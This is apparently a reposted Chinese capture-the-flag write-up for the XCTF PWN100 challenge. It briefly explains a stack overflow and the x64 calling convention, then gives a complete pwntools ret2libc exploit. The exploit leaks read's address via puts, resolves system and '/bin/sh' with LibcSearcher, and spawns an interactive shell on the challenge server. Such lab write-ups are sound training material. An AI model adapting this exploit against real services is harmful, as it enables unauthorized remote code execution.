攻防世界(Pwn) PWN100

在这里插入图片描述同时这里还存在一个 v1溢出点
在这里插入图片描述
在这里插入图片描述

我们知道x86都是靠栈来传递参数的而x64换了它顺序是rdi, rsi, rdx, rcx, r8,
r9,如果多于6个参数才会用栈我们要先知道这个特性

这题,里面既没有现成的system也没有/bin/sh字符串,也没有提供libc.so给我们,那么我们要做的就是想办法泄露libc地址,拿到system函数和/bin/sh字符串,这题呢,我们可以利用put来泄露read函数的地址,然后再利用LibcSearcher查询可能的libc

这题ROP,我们先构造payload来执行puts函数泄露read的地址

对此过程生疏的可以看看这篇文章 CTF(Pwn) Rop + ret2libc 题型 常规解法思路 (初级)

from pwn import*
from LibcSearcher import*
p=remote("111.200.241.244",49392)
elf =ELF('./1')
read_got = elf.got['read']
puts_plt = elf.plt['puts']
main_addr=0x4006B8
rdi=0x400763
payload='a'*(0x40+0x8)+p64(rdi)+p64(read_got)+p64(puts_plt)+p64(main_addr)
payload=payload.ljust(200,'a')
p.send(payload)
p.recvline()
read_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\0'))
libc = LibcSearcher('read',read_addr)
base=read_addr - libc.dump('read')
system_addr = base+libc.dump('system')
binsh=base+libc.dump('str_bin_sh')
payload='a'*(0x40+0x8)+p64(rdi)+p64(binsh)+p64(system_addr)
payload=payload.ljust(200,'a')
p.sendline(payload)
p.interactive()

具体EXP就不解释了 有问题欢迎留言

猜你喜欢

转载自blog.csdn.net/weixin_45556441/article/details/115129006